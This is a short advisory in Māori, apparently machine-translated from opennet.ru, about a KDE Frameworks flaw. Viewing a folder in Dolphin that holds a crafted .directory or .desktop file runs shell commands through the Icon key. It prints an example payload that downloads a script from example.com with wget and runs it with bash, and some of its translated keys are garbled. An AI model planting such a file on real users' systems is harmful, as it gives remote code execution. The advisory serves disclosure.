Ko te whakaraeraetanga o te mahi waehere KDE i te wa e tiro ana i te rarangi o nga konae

I roto i te KDE kua tautuhia whakaraeraetanga, e taea ai e te kaitukino te whakahaere i nga whakahau i te wa e tiro ana te kaiwhakamahi ki tetahi raarangi, puranga ranei kei roto nga konae ".papamahi" me ".directory". Ko te whakaeke me tiro noa te kaiwhakamahi ki te raarangi o nga konae kei te kaiwhakahaere konae Dolphin, tango i tetahi konae papamahi kino, toia ranei he pokatata ki runga i te papamahi, ki te tuhinga ranei. Ka kitea te raruraru i roto i te putanga o naianei o nga whare pukapuka KDE Frameworks 5.60.0 me nga putanga tawhito, tae atu ki te KDE 4. Kei te noho tonu te whakaraerae noho tonu kaore i whakatikaia (Kaore i tohua te CVE).

Ko te raruraru na te he o te whakatinanatanga o te karaehe KDesktopFile, i te wa e tukatuka ana i te taurangi "Icon", me te kore e mawhiti tika, ka tukuna te uara ki te mahi KConfigPrivate ::expandString(), e mahi ana i te roha o nga tohu motuhake anga, tae atu ki te tukatuka. nga aho “$(..)” hei whakahau kia mahia . He rereke ki nga whakaritenga o te whakatakotoranga XDG, te whakatinanatanga whakakitenga ka mahia nga hanga anga me te kore e wehea te momo tautuhinga, ara. ehara i te wa e whakatau ana i te rarangi whakahau o te tono kia whakarewahia, engari i te wa e tohu ana i nga tohu ka whakaatuhia ma te taunoa.

Hei tauira, ki te whakaeke he makona tuku ki te kaiwhakamahi he puranga zip me tetahi whaiaronga kei roto he konae ".directory" penei:

[Tukupapa Papamahi] Momo=Rokotakinga
Ata[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Ka ngana koe ki te tiro i nga ihirangi o te puranga i te kaiwhakahaere konae Dolphin, ka tangohia te tuhinga https://example.com/FILENAME.sh ka mahia.


Source: opennet.ru

Tāpiri i te kōrero